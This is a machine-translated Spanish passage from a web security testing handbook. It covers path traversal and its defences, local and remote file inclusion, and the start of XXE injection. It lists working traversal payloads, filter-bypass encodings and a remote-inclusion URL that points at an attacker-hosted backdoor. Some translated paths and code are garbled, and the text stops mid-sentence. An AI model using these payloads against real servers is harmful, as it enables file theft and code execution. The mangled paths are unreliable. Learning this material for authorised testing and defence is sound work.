back -end de una manera no segura. Al enviar una entrada manipulada, un atacante puede hacer que
se lea o se escriba contenido arbitrario en cualquier parte del sistema de archivos al que se acceda.
Esto a menudo permite que un atacante lea información confidencial del servidor o sobrescriba archivos
confidenciales, lo que en última instancia conduce a la ejecución arbitraria de comandos en el servidor.
Considere el siguiente ejemplo, en el que una aplicación utiliza una página dinámica
para devolver imágenes estáticas al cliente. El nombre de la imagen solicitada se
especifica en un parámetro de cadena de consulta:
http://mdsec.net/filestore/8/GetFile.ashx?filename=keira.jpg
Cuando el servidor procesa esta solicitud, sigue estos pasos:
1. Extrae el valor del parámetro de nombre de archivo de la cadena de consulta.
2. Agrega este valor al prefijo C:\filestore\.
3. Abre el archivo con este nombre.

4. Lee el contenido del archivo y lo devuelve al cliente.
La vulnerabilidad surge porque un atacante puede colocar secuencias de recorrido de ruta en el

nombre de archivo para retroceder desde el directorio especificado en el paso 2 y , por lo tanto,
acceder a los archivos desde cualquier lugar del servidor al que el contexto de usuario utilizado por
la aplicación tenga privilegios para acceder. La secuencia de recorrido de la ruta se conoce como
"punto-punto-barra"; un ataque típico se ve así:
http://mdsec.net/filestore/8/GetFile.ashx?filename=..\windows\win.ini
Cuando la aplicación agrega el valor del parámetro de nombre de archivo al

nombre del directorio de imágenes, obtiene la siguiente ruta:
C:\filestore\..\windows\win.ini
Las dos secuencias transversales retroceden efectivamente desde la dirección de las imágenes.
tory a la raíz de la unidad C:, por lo que la ruta anterior es equivalente a esto:
C:\windows\win.ini
Por lo tanto, en lugar de devolver un archivo de imagen, el servidor en realidad devuelve un archivo de
configuración predeterminado de Windows.
NOTA En versiones anteriores del servidor web Windows IIS, las aplicaciones, de forma
predeterminada, se ejecutaban con privilegios del sistema local, lo que permitía el acceso
a cualquier archivo legible en el sistema de archivos local. En versiones más recientes, al
igual que muchos otros servidores web, el proceso del servidor se ejecuta de forma
predeterminada en un contexto de usuario con menos privilegios. Por esta razón, al buscar
vulnerabilidades de cruce de ruta, es mejor solicitar un archivo predeterminado que pueda ser leído por cualquier tip
c:\ventanas\win.ini.
En este ejemplo simple, la aplicación no implementa defensas para evitar ataques de

cruce de ruta. Sin embargo, debido a que estos ataques han sido ampliamente conocidos
Desde hace algún tiempo, es común encontrar aplicaciones que implementan varias
defensas contra ellas, a menudo basadas en filtros de validación de entrada. Como
verá, estos fi ltros a menudo están mal diseñados y pueden ser eludidos por un
atacante habilidoso.
¡INTENTALO!
http://mdsec.net/filestore/8/
Búsqueda y explotación de vulnerabilidades transversales de ruta
Muchos tipos de funciones requieren una aplicación web para leer o escribir en un sistema de archivos
en función de los parámetros proporcionados en las solicitudes de los usuarios. Si estas operaciones se
llevan a cabo de manera insegura, un atacante puede enviar una entrada manipulada que haga que la
aplicación acceda a archivos a los que el diseñador de la aplicación no pretendía acceder. Estos defectos,
conocidos como vulnerabilidades de cruce de ruta , pueden permitir que el atacante lea datos
confidenciales, incluidas contraseñas y registros de aplicaciones, o que sobrescriba elementos críticos
para la seguridad, como archivos de configuración y binarios de software. En los casos más graves, la
vulnerabilidad puede permitir que un atacante comprometa por completo tanto la aplicación como el
sistema operativo subyacente.
Las fallas de cruce de ruta a veces son sutiles de detectar, y muchas aplicaciones web implementan
defensas contra ellas que pueden ser vulnerables a las omisiones. Describiremos todas las diversas
técnicas que necesitará, desde la identificación de objetivos potenciales hasta la detección de
comportamientos vulnerables, eludir las defensas de la aplicación y lidiar con la codificación personalizada.
Localización de objetivos para el
ataque Durante el mapeo inicial de la aplicación, ya debería haber identificado las áreas obvias de
superficie de ataque en relación con las vulnerabilidades transversales de la ruta.
Cualquier funcionalidad cuyo propósito explícito sea cargar o descargar archivos debe probarse
exhaustivamente. Esta funcionalidad se encuentra a menudo en aplicaciones de flujo de trabajo donde
los usuarios pueden compartir documentos, en aplicaciones de blogs y subastas donde los usuarios
pueden cargar imágenes y en aplicaciones informativas donde los usuarios pueden recuperar documentos
como libros electrónicos, manuales técnicos e informes de la empresa.
Además de la funcionalidad objetivo obvia de este tipo, varios otros tipos

de comportamiento puede sugerir una interacción relevante con el sistema de archivos.
PASOS DE HACK
1. Revise la información recopilada durante el mapeo de la aplicación para identificar lo

siguiente: n Cualquier instancia en la que un parámetro de solicitud parezca contener
el nombre de un archivo o directorio, como include=main.inc o template=/en/ sidebar.
n Cualquier función de aplicación cuya implementación probablemente implique la

recuperación de datos de un sistema de archivos del servidor (a diferencia de una
base de datos de back-end), como la visualización de imágenes o documentos de oficina.
2. Durante todas las pruebas que realice en relación con cualquier otro tipo de capacidad
de vulnerabilidad, busque mensajes de error u otros eventos anómalos que sean de
interés. Intente encontrar cualquier evidencia de instancias en las que los datos
proporcionados por el usuario se transfieran a las API de archivos o como parámetros
a los comandos del sistema operativo.
SUGERENCIA Si tiene acceso local a la aplicación (ya sea en un ejercicio de prueba de caja
blanca o porque ha comprometido el sistema operativo del servidor), la identificación de
objetivos para la prueba transversal de ruta suele ser sencilla, porque puede monitorear toda la
interacción del sistema de archivos que la aplicación realiza
PASOS DE HACK
Si tiene acceso local a la aplicación web, haga lo siguiente:
1. Use una herramienta adecuada para monitorear toda la actividad del sistema de archivos en el servidor. Para
Por ejemplo, la herramienta FileMon de SysInternals se puede usar en la plataforma
Windows, las herramientas ltrace/strace se pueden usar en Linux y el comando truss se
puede usar en Solaris de Sun.
2. Pruebe cada página de la aplicación insertando una sola cadena única (como prueba
transversal) en cada parámetro enviado (incluidas todas las cookies, los campos de
cadena de consulta y los elementos de datos POST). Apunte solo a un parámetro a la vez
y use las técnicas automatizadas descritas en el Capítulo 14 para acelerar el proceso.
3. Establezca un filtro en su herramienta de monitoreo del sistema de archivos para identificar todos los sistemas de archivos.
eventos que contienen su cadena de prueba.
4. Si se identifica algún evento en el que su cadena de prueba se haya utilizado como o

incorporado en un nombre de archivo o directorio, pruebe cada instancia (como se
describe a continuación) para determinar si es vulnerable a los ataques de cruce de ruta.
Detección de vulnerabilidades de cruce de rutas
Habiendo identificado los diversos objetivos potenciales para las pruebas de cruce de rutas, debe probar
cada instancia individualmente para determinar si los datos controlables por el usuario se pasan a las
operaciones relevantes del sistema de archivos de manera insegura.
Para cada parámetro proporcionado por el usuario que se está probando, determine si
la aplicación está bloqueando las secuencias transversales o si funcionan como se esperaba.
Una prueba inicial que suele ser confiable es enviar secuencias transversales de una
manera que no implique retroceder por encima del directorio de inicio.
PASOS DE HACK
1. Suponiendo que el parámetro al que se dirige se adjunta a un directorio

preestablecido especificado por la aplicación, modifique el valor del parámetro
para insertar un subdirectorio arbitrario y una sola secuencia transversal. Por
ejemplo, si la aplicación envía este parámetro:
archivo=foo/archivo1.txt
intente enviar este valor:
archivo=foo/bar/../archivo1.txt
Si el comportamiento de la aplicación es idéntico en los dos casos, puede

ser vulnerable. Debe proceder directamente a intentar acceder a un archivo
diferente atravesando el directorio de inicio.
2. Si el comportamiento de la aplicación es diferente en los dos casos, es posible
que esté bloqueando, eliminando o desinfectando secuencias transversales, lo
que da como resultado una ruta de archivo no válida. Debe examinar si hay
alguna forma de eludir los filtros de validación de la aplicación (descritos en la siguiente sección).
La razón por la cual esta prueba es efectiva, incluso si el subdirectorio "bar" no
no existe, es que los sistemas de archivos más comunes realizan la
canonicalización de la ruta del archivo antes de intentar recuperarlo. La
secuencia de recorrido cancela el directorio inventado, por lo que el servidor no
verifica si está presente.
Si encuentra instancias en las que enviar secuencias transversales sin pasar por encima
del directorio de inicio no afecta el comportamiento de la aplicación, la siguiente prueba es
intentar atravesar el directorio de inicio y acceder a los archivos desde cualquier otro lugar
del sistema de archivos del servidor.
PASOS DE HACK
1. Si la función de la aplicación que está atacando proporciona acceso de lectura a un archivo,

intente acceder a un archivo conocido de lectura mundial en el sistema operativo en
cuestión. Envíe uno de los siguientes valores como el parámetro de nombre de archivo
que controla:
../../../../../../../../../../../../etc/contraseña
../../../../../../../../../../../../windows/win.ini
Si tiene suerte, su navegador muestra el contenido del archivo que tiene

solicitado, como se muestra en la Figura 10-5.
2. Si la función que está atacando proporciona acceso de escritura a un archivo, puede ser
más difícil verificar de manera concluyente si la aplicación es vulnerable. Una prueba que
a menudo es efectiva es intentar escribir dos archivos, uno en el que cualquier usuario
debe poder escribir y otro en el que no debe tener permiso de escritura ni siquiera el root
o el administrador. Por ejemplo, en plataformas Windows puedes probar esto:
../../../../../../../../../../../../writetest.txt
../../../../../../../../../../../../windows/system32/config/sam
En las plataformas basadas en UNIX, los archivos que la raíz no puede escribir
dependen de la versión, pero intentar sobrescribir un directorio con un archivo
siempre debería fallar, por lo que puede probar esto:
../../../../../../../../../../../../tmp/writetest.txt
../../../../../../../../../../../../tmp
Para cada par de pruebas, si el comportamiento de la aplicación es diferente

en respuesta a la primera y la segunda solicitud (por ejemplo, si la segunda
devuelve un mensaje de error pero la primera no), la aplicación probablemente sea
vulnerable.
3. Un método alternativo para verificar una falla transversal con acceso de escritura es
intentar escribir un nuevo archivo dentro de la raíz web del servidor web y luego
intentar recuperarlo con un navegador. Sin embargo, es posible que este método no
funcione si no conoce la ubicación del directorio raíz web o si el contexto de usuario
en el que se produce el acceso al archivo no tiene permiso para escribir allí.
Figura 10-5: Un ataque exitoso de cruce de ruta
NOTA Prácticamente todos los sistemas de archivos toleran secuencias transversales

redundantes que parecen intentar moverse por encima de la raíz del sistema de archivos.
Por lo tanto, generalmente es recomendable enviar una gran cantidad de secuencias
transversales cuando se busca una falla, como en los ejemplos que se dan aquí. Es posible
que el directorio de inicio al que se adjuntan sus datos se encuentre en lo más profundo
del sistema de archivos, por lo que el uso de un número excesivo de secuencias ayuda a evitar falsos negativos.
Además, la plataforma Windows tolera tanto las barras diagonales como las diagonales inversas.
como separadores de directorio, mientras que las plataformas basadas en UNIX solo
toleran la barra inclinada. Además, algunas aplicaciones web filtran una versión pero no
la otra. Incluso si está seguro de que el servidor web está ejecutando un sistema operativo
basado en UNIX, es posible que la aplicación siga llamando a un componente de back-end
basado en Windows. Debido a esto, siempre es recomendable probar ambas versiones
cuando se buscan fallas transversales.
Eludir los obstáculos a los ataques transversales Si

sus intentos iniciales de realizar un ataque transversal (como se acaba de describir) no
tienen éxito, esto no significa que la aplicación no sea vulnerable. Muchos desarrolladores
de aplicaciones son conscientes de las vulnerabilidades de cruce de rutas e implementan
varios tipos de comprobaciones de validación de entrada en un intento de prevenirlas. Sin
embargo, esas defensas a menudo son defectuosas y un atacante habilidoso puede eludirlas.
El primer tipo de filtro de entrada que se encuentra comúnmente consiste en verificar
si el parámetro de nombre de archivo contiene alguna secuencia de recorrido de ruta. Si
lo hace, el fi ltro rechaza la solicitud o intenta desinfectar la entrada para eliminar las
secuencias. Este tipo de fi ltro suele ser vulnerable a varios ataques que utilizan
codificaciones alternativas y otros trucos para derrotar al fi ltro. Todos estos ataques
explotan el tipo de problemas de canonicalización que enfrentan los mecanismos de
validación de entrada, como se describe en el Capítulo 2.
PASOS DE HACK
1. Intente siempre secuencias transversales de ruta usando barras diagonales y barras diagonales
inversas. Muchos filtros de entrada verifican solo uno de estos, cuando el sistema de
archivos puede admitir ambos.
2. Pruebe representaciones codificadas en URL simples de secuencias transversales utilizando

las siguientes codificaciones. Asegúrese de codificar cada barra y punto dentro de su
entrada:
n Punto — %2e
n Barra inclinada: %2f
n Barra invertida — %5c
3. Intente usar la codificación Unicode de 16 bits:

n Punto — %u002e
n barra diagonal — %u2215
n Barra invertida — %u2216
4. Pruebe la doble codificación de URL:

n Punto — %252e
n Barra inclinada: %252f
n Barra invertida — %255c
5. Pruebe la codificación UTF-8 Unicode demasiado larga:
n Punto: %c0%2e, %e0%40%ae, %c0ae, etc.
n Barra diagonal: %c0%af, %e0%80%af, %c0%2f, etc.
n Barra invertida: %c0%5c, %c0%80%5c, etc.
Puede usar el tipo de carga útil ilegal Unicode dentro de Burp Intruder para generar
una gran cantidad de representaciones alternativas de cualquier personaje dado y enviarlo
en el lugar relevante dentro de su parámetro de destino.
Estas representaciones violan estrictamente las reglas para la representación Unicode
pero, sin embargo, son aceptadas por muchas implementaciones de decodificadores
Unicode, particularmente en la plataforma Windows.
6. Si la aplicación intenta desinfectar la entrada del usuario mediante la eliminación de

secuencias transversales y no aplica este filtro de forma recursiva, es posible omitir el
filtro colocando una secuencia dentro de otra. Por ejemplo:
....//
....\/
..../\
....\\
¡INTENTALO!
El segundo tipo de filtro de entrada que se encuentra comúnmente en las defensas

contra los ataques de cruce de ruta implica verificar si el nombre de archivo proporcionado
por el usuario contiene un sufijo (tipo de archivo) o un prefijo (directorio de inicio) que la
aplicación espera. Este tipo de defensa se puede utilizar junto con los fi ltros ya descritos.
PASOS DE HACK
1. Algunas aplicaciones verifican si el nombre de archivo proporcionado por el

usuario termina en un tipo de archivo o conjunto de tipos de archivo en
particular y rechazan los intentos de acceder a cualquier otra cosa. A veces, esta
verificación se puede subvertir colocando un byte nulo codificado en URL al final
del nombre de archivo solicitado, seguido de un tipo de archivo que acepta la aplicación. Por ejemplo:
../../../../../boot.ini%00.jpg
La razón por la que este ataque a veces tiene éxito es que la verificación del tipo de archivo
se implementa utilizando una API en un entorno de ejecución administrado en
el que se permite que las cadenas contengan caracteres nulos (como String.
EndsWith() en Java). Sin embargo, cuando el archivo se recupera realmente, la
aplicación finalmente usa una API en un entorno no administrado en el que las
cadenas terminan en nulo. Por lo tanto, su nombre de archivo se trunca efectivamente
a su valor deseado.
2. Algunas aplicaciones intentan controlar el tipo de archivo al que accede

agregando su propio sufijo de tipo de archivo al nombre de archivo proporcionado por el usuario.
En esta situación, cualquiera de los exploits anteriores puede ser efectivo, para el
mismas razones.
3. Algunas aplicaciones verifican si el nombre de archivo proporcionado por el usuario comienza con
un subdirectorio particular del directorio de inicio, o incluso un nombre de archivo específico.
Por supuesto, esta verificación se puede eludir fácilmente de la siguiente manera:
almacén de archivos/../../../../../../../etc/passwd
4. Si ninguno de los ataques anteriores contra los filtros de entrada tiene éxito, indi
vidualmente, la aplicación podría estar implementando múltiples tipos de filtros.
Por lo tanto, debe combinar varios de estos ataques simultáneamente (tanto contra
filtros de secuencia transversal como contra filtros de tipo de archivo o directorio). Si
PASOS DE HACK
posible, el mejor enfoque aquí es tratar de dividir el problema en etapas

separadas. Por ejemplo, si la solicitud de:
diagrama1.jpg
tiene éxito, pero la solicitud de:
foo/../diagrama1.jpg
falla, intente todas las omisiones de secuencia transversal posibles hasta que
una variación en la segunda solicitud sea exitosa. Si estas omisiones exitosas
de secuencia transversal no le permiten acceder a /etc/passwd, investigue si se
implementa algún tipo de filtrado de archivos y se puede omitir solicitando:
diagrama1.jpg%00.jpg
Trabajando completamente dentro del directorio de inicio definido por la aplicación,

intente sondear para comprender todos los filtros que se están implementando
y ver si cada uno puede omitirse individualmente con las técnicas descritas.
5. Por supuesto, si tiene acceso de caja blanca a la aplicación, su tarea es

mucho más fácil, porque puede trabajar sistemáticamente a través de diferentes tipos de
entrada y verificar de manera concluyente qué nombre de archivo (si corresponde) está
llegando realmente al sistema de archivos.
Lidiando con la codificación
personalizada Probablemente el error de cruce de ruta más loco que los autores han encontrado involucraba
un esquema de codificación personalizado para nombres de archivo que finalmente se manejaban de
manera insegura. Demostró cómo la ofuscación no sustituye a la seguridad.
La aplicación contenía algunas funciones de flujo de trabajo que permitían a los
usuarios cargar y descargar archivos. La solicitud que realizaba la carga proporcionó un
parámetro de nombre de archivo que era vulnerable a un ataque de cruce de ruta al
escribir el archivo. Cuando un archivo se cargaba con éxito, la aplicación proporcionaba
a los usuarios una URL para descargarlo nuevamente. Había dos advertencias importantes:
n La aplicación verificó si el archivo a escribir ya existía. Si lo hizo, la aplicación se

negó a sobrescribirlo.
n Las URL generadas para descargar los archivos de los usuarios se representaron
mediante un esquema de ofuscación patentado. Esta parecía ser una forma
personalizada de codificación Base64 en la que se empleaba un juego de caracteres
diferente en cada posición del nombre de archivo codificado.
En conjunto, estas advertencias presentaban una barrera para la explotación directa de

la vulnerabilidad. Primero, aunque era posible escribir archivos arbitrarios para
el sistema de archivos del servidor, no fue posible sobrescribir ningún archivo existente.
Además, los bajos privilegios del proceso del servidor web significaban que no era
posible crear un nuevo archivo en ninguna ubicación interesante. En segundo lugar, no
era posible solicitar un archivo existente arbitrario (como /etc/passwd) sin aplicar
ingeniería inversa a la codificación personalizada, lo que presentaba un desafío largo y poco atractivo.
Un poco de experimentación reveló que las URL ofuscadas contenían la cadena de nombre
de archivo original proporcionada por el usuario. Por ejemplo:
n test.txt se convirtió en zM1YTU4NTY2Y
n foo/../test.txt se convirtió en E1NzUyMzE0ZjQ0NjMzND
La diferencia en la longitud de las URL codificadas indicó que no se realizó ninguna

canonización de rutas antes de aplicar la codificación. Este comportamiento nos dio suficiente
punto de apoyo para explotar la vulnerabilidad. El primer paso fue enviar un archivo con el
siguiente nombre:
../../../../../.././etc/passwd/../../tmp/foo
que, en su forma canónica, equivale a:
/tmp/foo
Por lo tanto, podría ser escrito por el servidor web. Cargando este archivo producido
una URL de descarga que contiene el siguiente nombre de archivo ofuscado:
FhwUk1rNXFUVEJOZW1kNlRsUk5NazE2V1RKTmFrMHdUbXBWZWs1NldYaE5lb
Para modificar este valor para devolver el archivo /etc/passwd, simplemente

necesitábamos truncarlo en el punto correcto, que era:
FhwUk1rNXFUVEJOZW1kNlRsUk5NazE2V1RKTmFrM
Intentar descargar un archivo usando este valor devolvió el archivo passwd del servidor
como se esperaba. El servidor nos había proporcionado suficientes recursos para poder
codificar rutas de archivo arbitrarias usando su esquema, ¡sin siquiera descifrar el algoritmo
de ofuscación que se estaba usando!
NOTA Es posible que haya notado la aparición de un ./ redundante en el nombre

de nuestro archivo cargado. Esto era necesario para garantizar que nuestra URL
truncada terminara en un límite de 3 bytes de texto no cifrado y, por lo tanto, en
un límite de 4 bytes de texto codificado, de acuerdo con el esquema de codificación
Base64. Truncar una URL codificada a la mitad de un bloque codificado casi con
seguridad causaría un error cuando se descodificara en el servidor.
Explotación de vulnerabilidades transversales
Habiendo identificado una vulnerabilidad transversal de ruta que proporciona acceso de lectura o escritura a
archivos arbitrarios en el sistema de archivos del servidor, ¿qué tipo de ataques puede llevar a cabo al
explotarlos? En la mayoría de los casos, descubrirá que tiene el mismo nivel de acceso de lectura/escritura
al sistema de archivos que el proceso del servidor web.
PASOS DE HACK
Puede explotar las fallas transversales de la ruta de acceso de lectura para recuperar archivos interesantes
del servidor que pueden contener información directamente útil o que lo ayudan a refinar los ataques contra
otras vulnerabilidades. Por ejemplo:
Archivos de contraseñas para el sistema operativo y la aplicación Archivos de
configuración del servidor y la aplicación para descubrir otras vulnerabilidades

o afinar un ataque diferente
n Incluir archivos que pueden contener credenciales de bases de datos . n
Fuentes de datos utilizadas por la aplicación, como archivos de bases de datos MySQL o
archivos XML
n El código fuente de las páginas ejecutables por el servidor para realizar una revisión del código en
busca de errores (por ejemplo, GetImage.aspx?file=GetImage.aspx) n Los archivos de registro de la
aplicación que pueden contener nombres de usuario y tokens de sesión y

similares
Si encuentra una vulnerabilidad de cruce de ruta que otorga acceso de escritura, su objetivo principal
debe ser explotar esto para lograr la ejecución arbitraria de comandos en el servidor. Estas son algunas
formas de aprovechar esta vulnerabilidad: n Cree secuencias de comandos en las carpetas de inicio de los
usuarios. n Modifique archivos como in.ftpd para ejecutar comandos arbitrarios cuando
el siguiente usuario se conecta.
n Escriba scripts en un directorio web con permisos de ejecución y llámelos

desde su navegador.
Prevención de vulnerabilidades de cruce de ruta

Con mucho, el medio más efectivo para eliminar las vulnerabilidades de cruce de rutas es evitar
pasar los datos enviados por el usuario a cualquier API del sistema de archivos. En muchos
casos, incluido el ejemplo original GetFile.ashx?filename=keira.jpg, no es necesario que una
aplicación haga esto. La mayoría de los archivos que no están sujetos a ningún control de acceso
pueden simplemente colocarse dentro de la raíz web y acceder a ellos a través de una URL directa. Si esto
no es posible, la aplicación puede mantener una lista codificada de archivos de imagen que
puede servir la página. Puede usar un identificador diferente para especificar qué archivo se
requiere, como un número de índice. Se puede rechazar cualquier solicitud que contenga un
identificador no válido y no existe una superficie de ataque para que los usuarios manipulen la
ruta de los archivos entregados por la página.
En algunos casos, como ocurre con la funcionalidad de flujo de trabajo que permite la carga y
descarga de archivos, puede ser deseable permitir que los usuarios especifiquen los archivos por nombre.
Los desarrolladores pueden decidir que la forma más fácil de implementar esto es pasar el nombre
de archivo proporcionado por el usuario a las API del sistema de archivos. En esta situación, la
aplicación debe adoptar un enfoque de defensa en profundidad para colocar varios obstáculos en
el camino de un ataque transversal.
Aquí hay algunos ejemplos de defensas que pueden usarse; idealmente, ya que muchos de
Estos, en la medida de lo posible, deben implementarse juntos:
n Después de realizar toda la decodificación y canonicalización relevantes del nombre de archivo

enviado por el usuario, la aplicación debe verificar si contiene alguna de las secuencias
transversales de la ruta (usando barras invertidas o barras diagonales) o bytes nulos. Si es
así, la aplicación debería dejar de procesar la solicitud. No debe intentar realizar ningún
saneamiento en el nombre de archivo malicioso. n La aplicación debe usar una lista codificada
de tipos de archivos permitidos y rechazar cualquier solicitud de un tipo diferente (después de

que se haya realizado la decodificación y canonicalización anteriores).
n Después de realizar todo el filtrado en el nombre de archivo proporcionado por el usuario, la

aplicación debe usar las API del sistema de archivos adecuadas para verificar que no haya
ningún problema y que el archivo al que se accede con ese nombre de archivo se encuentra
en el directorio de inicio especificado. por la aplicación.
En Java, esto se puede lograr instanciando un objeto java.io.File utilizando el

nombre de archivo proporcionado por el usuario y luego llamando al método
getCanonicalPath en este objeto. Si la cadena devuelta por este método no
comienza con el nombre del directorio de inicio, el usuario de alguna manera ha
pasado por alto los filtros de entrada de la aplicación y la solicitud debe ser rechazada.
En ASP.NET, esto se puede lograr pasando el nombre de archivo proporcionado por el usuario
al método System.Io.Path.GetFullPath y verificando la cadena devuelta de la misma manera
que se describe para Java.
La aplicación puede mitigar el impacto de la mayoría de las vulnerabilidades de cruce
de rutas explotables mediante el uso de un entorno chroot para acceder al directorio que
contiene los archivos a los que se accede. En esta situación, el directorio chroot se trata como
si es la raíz del sistema de archivos, y cualquier secuencia transversal redundante que intente
pasar por encima de ella se ignora. Los sistemas de archivos chroot son compatibles de forma
nativa en la mayoría de las plataformas basadas en UNIX. Se puede lograr un efecto similar en
las plataformas Windows (en relación con las vulnerabilidades transversales, al menos) montando
el directorio de inicio relevante como una nueva unidad lógica y usando la letra de la unidad
asociada para acceder a su contenido.
La aplicación debe integrar sus defensas contra ataques de cruce de ruta con sus mecanismos
de registro y alerta. Cada vez que se recibe una solicitud que contiene secuencias transversales
de ruta, esto indica una probable intención maliciosa por parte del usuario. La aplicación debe
registrar la solicitud como un intento de violación de la seguridad , cancelar la sesión del usuario
y, si corresponde, suspender la cuenta del usuario y generar una alerta para un administrador.
Vulnerabilidades de inclusión de archivos
Muchos lenguajes de secuencias de comandos admiten el uso de archivos de inclusión. Esta

función permite a los desarrolladores colocar componentes de código reutilizables en archivos
separados e incluirlos dentro de archivos de código de funciones específicas cuando se
necesiten. El código dentro del archivo incluido se interpreta como si hubiera sido insertado en
la ubicación de la directiva de inclusión.
Inclusión de archivos remotos
El lenguaje PHP es particularmente susceptible a las vulnerabilidades de inclusión de archivos

porque sus funciones de inclusión pueden aceptar una ruta de archivo remota. Esta ha sido la
base de numerosas vulnerabilidades en las aplicaciones PHP.
Considere una aplicación que entrega contenido diferente a personas en diferentes lugares.
Cuando los usuarios eligen su ubicación, esto se comunica al servidor a través de un parámetro
de solicitud, de la siguiente manera:
https://wahh-app.com/main.php?Country=US
La aplicación procesa el parámetro País de la siguiente manera:
$país = $_GET['País']; include( $país .

'.php' );
Esto hace que el entorno de ejecución cargue el archivo US.php que se encuentra en el
sistema de archivos del servidor web. El contenido de este archivo se copia efectivamente en el
archivo main.php y se ejecuta.
Un atacante puede explotar este comportamiento de diferentes formas, la más seria de las cuales es
especificar una URL externa como la ubicación del archivo de inclusión. La función de inclusión de PHP
acepta esto como entrada, y el entorno de ejecución recupera el archivo especificado y ejecuta su
contenido. Por lo tanto, un atacante puede construir un script malicioso que contenga contenido
arbitrariamente complejo, alojarlo en un servidor web que controle e invocarlo para su ejecución a través
de la función de la aplicación vulnerable. Por ejemplo:
https://wahh-app.com/main.php?Country=http://wahh-attacker.com/backdoor
Inclusión de archivos locales
En algunos casos, los archivos de inclusión se cargan sobre la base de datos controlables por el usuario,
pero no es posible especificar una URL para un archivo en un servidor externo. Por ejemplo, si los datos
controlables por el usuario se pasan a la función ASP Server.Execute, un atacante puede hacer que se
ejecute una secuencia de comandos ASP arbitraria, siempre que esta secuencia de comandos pertenezca
a la misma aplicación que la que está llamando a la función. .
En esta situación, es posible que aún pueda explotar el comportamiento de la aplicación para realizar
acciones no autorizadas:
n Es posible que haya archivos ejecutables del servidor en el servidor a los que no pueda acceder a
través de la ruta normal. Por ejemplo, cualquier solicitud a la ruta /admin puede bloquearse a
través de controles de acceso a toda la aplicación. Si puede hacer que se incluya una
funcionalidad confidencial en una página a la que está autorizado a acceder, es posible que
pueda obtener acceso a esa funcionalidad. n Puede haber recursos estáticos en el servidor que
estén igualmente protegidos contra el acceso directo. Si puede hacer que estos se incluyan
dinámicamente en otras páginas de la aplicación, el entorno de ejecución normalmente
simplemente copia el contenido del recurso estático en su respuesta.
Búsqueda de vulnerabilidades de inclusión de archivos
Pueden surgir vulnerabilidades de inclusión de archivos en relación con cualquier elemento de los datos
proporcionados por el usuario. Son particularmente comunes en los parámetros de solicitud que
especifican un idioma o una ubicación. También suelen surgir cuando el nombre de un archivo del lado
del servidor se pasa explícitamente como parámetro.
PASOS DE HACK
Para probar fallas en la inclusión remota de archivos, siga estos pasos:
1. Envíe en cada parámetro de destino una URL para un recurso en un servidor web que controle
y determine si se reciben solicitudes del servidor que aloja la aplicación de destino.
2. Si la primera prueba falla, intente enviar una URL que contenga una dirección IP inexistente
y determine si se produce un tiempo de espera mientras el servidor intenta conectarse.
3. Si se determina que la aplicación es vulnerable a la inclusión de archivos remotos, con

construya un script malicioso utilizando las API disponibles en el idioma relevante, como se
describe para los ataques de ejecución dinámica.
Las vulnerabilidades de inclusión de archivos locales pueden existir potencialmente en una

gama mucho más amplia de entornos de secuencias de comandos que aquellos que admiten la
inclusión de archivos remotos. Para probar las vulnerabilidades de inclusión de archivos locales, siga estos pasos:
1. Envíe el nombre de un recurso ejecutable conocido en el servidor y determine si se

produce algún cambio en el comportamiento de la aplicación.
2. Envíe el nombre de un recurso estático conocido en el servidor y determine si su contenido se

copia en la respuesta de la aplicación.
3. Si la aplicación es vulnerable a la inclusión de archivos locales, intente acceder

cualquier funcionalidad sensible o recursos a los que no pueda acceder directamente a través
del servidor web.
4. Pruebe para ver si puede acceder a archivos en otros directorios utilizando las técnicas
transversales descritas anteriormente.
Inyectar en intérpretes XML

XML se utiliza mucho en las aplicaciones web actuales, tanto en solicitudes como
en respuestas entre el navegador y el servidor de aplicaciones frontales y en
mensajes entre componentes de aplicaciones finales, como los servicios SOAP.
Ambas ubicaciones son susceptibles a ataques en los que se utilizan entradas
manipuladas para interferir con el funcionamiento de la aplicación y normalmente
realizar alguna acción no autorizada.
Inyectar entidades externas XML

En las aplicaciones web actuales, XML se usa a menudo para enviar datos del cliente al servidor.
La aplicación del lado del servidor luego actúa sobre estos datos y puede devolver una respuesta
que contenga XML o datos en cualquier otro formato. Este comportamiento se encuentra más
comúnmente en aplicaciones basadas en Ajax donde se utilizan solicitudes asincrónicas para
comunicarse en segundo plano. También puede aparecer en el contexto de los componentes de la
extensión del navegador y otras tecnologías del lado del cliente.
Por ejemplo, considere una función de búsqueda que, para brindar una experiencia de usuario
fluida, se implemente mediante Ajax. Cuando un usuario ingresa un término de búsqueda, un script
del lado del cliente emite la siguiente solicitud al servidor:
POST /search/128/AjaxSearch.ashx HTTP/1.1 Host: mdsec.net
Tipo de contenido: texto/xml; conjunto de caracteres = UTF-8

<Search><SearchTerm>nada cambiará</SearchTerm></Search>
La respuesta del servidor es la siguiente (aunque pueden existir vulnerabilidades respecto

menos del formato utilizado en las respuestas):

Tipo de contenido: texto/xml; conjunto de caracteres = utf-8
<Search><SearchResult>No se encontraron resultados para expresión: nada cambiará</SearchResult></Search>
El script del lado del cliente procesa esta respuesta y actualiza parte del usuario
interfaz con los resultados de la búsqueda.
Cuando encuentre este tipo de funcionalidad, siempre debe verificar la inyección de entidad
externa XML (XXE). Esta vulnerabilidad surge porque las bibliotecas de análisis XML estándar
admiten el uso de referencias a entidades. Estos son simplemente un método para hacer referencia
a los datos, ya sea dentro o fuera del documento XML. Las referencias a entidades deben resultar
familiares de otros contextos. Por ejemplo, las entidades correspondientes a los caracteres < y >
son las siguientes:
<
>
El formato XML permite definir entidades personalizadas dentro del propio documento XML.
Esto se hace dentro del elemento DOCTYPE opcional al comienzo del documento. Por ejemplo:
<!DOCTYPE foo [ <!ENTITY testref “testrefvalue” > ]>

Si un documento contiene esta definición, el analizador reemplaza cualquier aparición

de &testref; referencia de entidad dentro del documento con el valor defi nido,
valor de referencia de prueba.
Además, la especificación XML permite definir entidades utilizando

referencias externas, cuyo valor es captado dinámicamente por el analizador XML.
Estas definiciones de entidades externas usan el formato de URL y pueden hacer referencia
a recursos o URL web externos en el sistema de archivos local. El analizador XML obtiene
el contenido de la URL o archivo especificado y lo usa como el valor de la entidad definida.
Si la aplicación devuelve en su respuesta partes de los datos XML que utilizan una entidad
definida externamente, el contenido del archivo o URL especificado se devuelve en la
respuesta.
Las entidades externas se pueden especificar dentro de la solicitud basada en XML del
atacante agregando un elemento DOCTYPE adecuado al XML (o modificando el elemento
si ya existe). Una referencia de entidad externa se especifica mediante la palabra clave
